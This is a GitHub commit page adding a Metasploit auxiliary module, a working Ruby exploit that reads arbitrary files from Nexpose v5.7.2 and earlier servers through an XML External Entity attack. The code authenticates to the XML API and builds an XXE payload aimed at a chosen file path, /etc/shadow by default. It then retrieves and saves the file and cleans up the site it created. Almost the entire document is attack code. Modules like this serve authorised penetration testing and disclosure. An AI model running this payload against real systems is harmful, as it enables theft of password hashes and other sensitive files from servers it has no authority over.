Skip to content

Commit 46d6fb3

Browse files
brandonprryTod Beardsley
authored andcommitted
Add module for xxe
1 parent 3762b84 commit 46d6fb3

File tree

1 file changed

+125
-0
lines changed

1 file changed

+125
-0
lines changed
Lines changed: 125 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,125 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rapid7/nexpose'
10+
11+
class Metasploit4 < Msf::Auxiliary
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Auxiliary::Report
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Nexpose XXE Arbitrary File Read',
19+
'Description' => %q{
20+
Nexpose v5.7.2 and prior was vulnerable to a XML External Entity attack via a few vectors.
21+
This allowed an attacker to craft special XML that read arbitrary files from the filesystem.
22+
This module exploits the vulnerability via the XML API.
23+
},
24+
'Author' =>
25+
[
26+
'bperry', #Discovery/Metasploit Module
27+
'bojanz' #Independent discovery
28+
],
29+
'License' => MSF_LICENSE
30+
))
31+
32+
register_options(
33+
[
34+
OptString.new('USERNAME', [true, "The Nexpose user", "user"]),
35+
OptString.new('PASSWORD', [true, "The Nexpose password", "pass"]),
36+
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]),
37+
], self.class)
38+
end
39+
40+
def run
41+
host = datastore['RHOST']
42+
port = datastore['RPORT']
43+
user = datastore['USERNAME']
44+
pass = datastore['PASSWORD']
45+
46+
nsc = Nexpose::Connection.new(host, user, pass, port)
47+
48+
print_status("Authenticating as: " << user)
49+
begin
50+
nsc.login
51+
report_auth_info(
52+
:host => host,
53+
:port => port,
54+
:sname => 'https',
55+
:user => user,
56+
:pass => pass,
57+
:proof => '',
58+
:active => true
59+
)
60+
61+
rescue
62+
print_error("Error authenticating, check your credentials")
63+
return
64+
end
65+
66+
xml = '<!DOCTYPE foo ['
67+
xml << '<!ELEMENT host ANY>'
68+
xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">'
69+
xml << ']>'
70+
xml << '<SiteSaveRequest session-id="'
71+
72+
xml << nsc.session_id
73+
74+
xml << '">'
75+
xml << '<Site id="-1" name="fdsa" description="fdfdsa">'
76+
xml << '<Hosts>'
77+
xml << '<host>&xxe;</host>'
78+
xml << '</Hosts>'
79+
xml << '<Credentials />'
80+
xml << '<Alerting />'
81+
xml << '<ScanConfig configID="-1" name="fdsa" templateID="full-audit" />'
82+
xml << '</Site>'
83+
xml << '</SiteSaveRequest>'
84+
85+
print_status("Sending payload")
86+
begin
87+
fsa = nsc.execute(xml)
88+
rescue
89+
print_error("Error executing API call for site creation, ensure the filepath is correct")
90+
return
91+
end
92+
93+
doc = REXML::Document.new fsa.raw_response_data
94+
id = doc.root.attributes["site-id"]
95+
96+
xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />"
97+
98+
print_status("Retrieving file")
99+
begin
100+
fsa = nsc.execute(xml)
101+
rescue
102+
nsc.site_delete id
103+
print_error("Error retrieving the file.")
104+
return
105+
end
106+
107+
doc = REXML::Document.new fsa.raw_response_data
108+
109+
print_status("Cleaning up")
110+
begin
111+
nsc.site_delete id
112+
rescue
113+
print_error("Error while cleaning up site")
114+
return
115+
end
116+
117+
if !doc.root.elements["//host"]
118+
print_error("No file returned. Either the server is patched or the file did not exist.")
119+
return
120+
end
121+
122+
path = store_loot('nexpose.file','text/plain', host, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{host}")
123+
print_good("File saved to path: " << path)
124+
end
125+
end

0 commit comments

Comments
 (0)